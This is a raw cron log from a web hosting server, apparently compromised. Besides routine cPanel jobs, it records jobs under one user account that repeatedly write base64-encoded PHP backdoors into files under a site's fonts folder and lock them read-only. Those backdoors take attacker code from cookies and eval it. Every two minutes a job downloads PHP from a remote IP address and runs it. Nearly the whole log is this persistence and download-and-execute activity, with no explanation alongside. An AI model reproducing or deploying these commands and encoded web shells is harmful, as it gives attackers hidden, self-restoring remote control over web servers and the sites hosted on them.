Sep  2 22:31:01 ip-184-168-122-23 CROND[22310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:32:01 ip-184-168-122-23 CROND[22405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:32:01 ip-184-168-122-23 CROND[22407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:32:01 ip-184-168-122-23 CROND[22409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:32:01 ip-184-168-122-23 CROND[22408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:32:01 ip-184-168-122-23 CROND[22410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:33:01 ip-184-168-122-23 CROND[22581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:33:01 ip-184-168-122-23 CROND[22583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:33:01 ip-184-168-122-23 CROND[22587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:33:01 ip-184-168-122-23 CROND[22588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:34:01 ip-184-168-122-23 CROND[22664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:34:01 ip-184-168-122-23 CROND[22665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:34:01 ip-184-168-122-23 CROND[22668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:34:01 ip-184-168-122-23 CROND[22669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:34:01 ip-184-168-122-23 CROND[22670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:35:01 ip-184-168-122-23 CROND[22751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:35:01 ip-184-168-122-23 CROND[22753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:35:01 ip-184-168-122-23 CROND[22755]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 22:35:01 ip-184-168-122-23 CROND[22757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:35:01 ip-184-168-122-23 CROND[22760]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 22:35:01 ip-184-168-122-23 CROND[22759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:35:01 ip-184-168-122-23 CROND[22761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:35:01 ip-184-168-122-23 CROND[22758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:36:01 ip-184-168-122-23 CROND[22852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:36:01 ip-184-168-122-23 CROND[22856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:36:01 ip-184-168-122-23 CROND[22854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:36:01 ip-184-168-122-23 CROND[22855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:36:01 ip-184-168-122-23 CROND[22857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:37:01 ip-184-168-122-23 CROND[22936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:37:01 ip-184-168-122-23 CROND[22938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:37:02 ip-184-168-122-23 CROND[22942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:37:02 ip-184-168-122-23 CROND[22945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:38:01 ip-184-168-122-23 CROND[23017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:38:01 ip-184-168-122-23 CROND[23014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:38:01 ip-184-168-122-23 CROND[23016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:38:01 ip-184-168-122-23 CROND[23015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:38:01 ip-184-168-122-23 CROND[23018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:39:01 ip-184-168-122-23 CROND[23096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:39:01 ip-184-168-122-23 CROND[23098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:39:01 ip-184-168-122-23 CROND[23100]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 22:39:01 ip-184-168-122-23 CROND[23101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:39:01 ip-184-168-122-23 CROND[23097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:40:01 ip-184-168-122-23 CROND[23199]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 22:40:01 ip-184-168-122-23 CROND[23197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:40:01 ip-184-168-122-23 CROND[23203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:40:01 ip-184-168-122-23 CROND[23204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:40:01 ip-184-168-122-23 CROND[23207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:40:01 ip-184-168-122-23 CROND[23209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 22:40:01 ip-184-168-122-23 CROND[23212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:40:01 ip-184-168-122-23 CROND[23210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:41:01 ip-184-168-122-23 CROND[23386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:41:01 ip-184-168-122-23 CROND[23388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:41:01 ip-184-168-122-23 CROND[23390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:41:01 ip-184-168-122-23 CROND[23389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:42:01 ip-184-168-122-23 CROND[23469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:42:01 ip-184-168-122-23 CROND[23470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:42:01 ip-184-168-122-23 CROND[23472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:42:01 ip-184-168-122-23 CROND[23473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:42:01 ip-184-168-122-23 CROND[23471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:43:01 ip-184-168-122-23 CROND[23554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:43:01 ip-184-168-122-23 CROND[23555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:43:01 ip-184-168-122-23 CROND[23559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
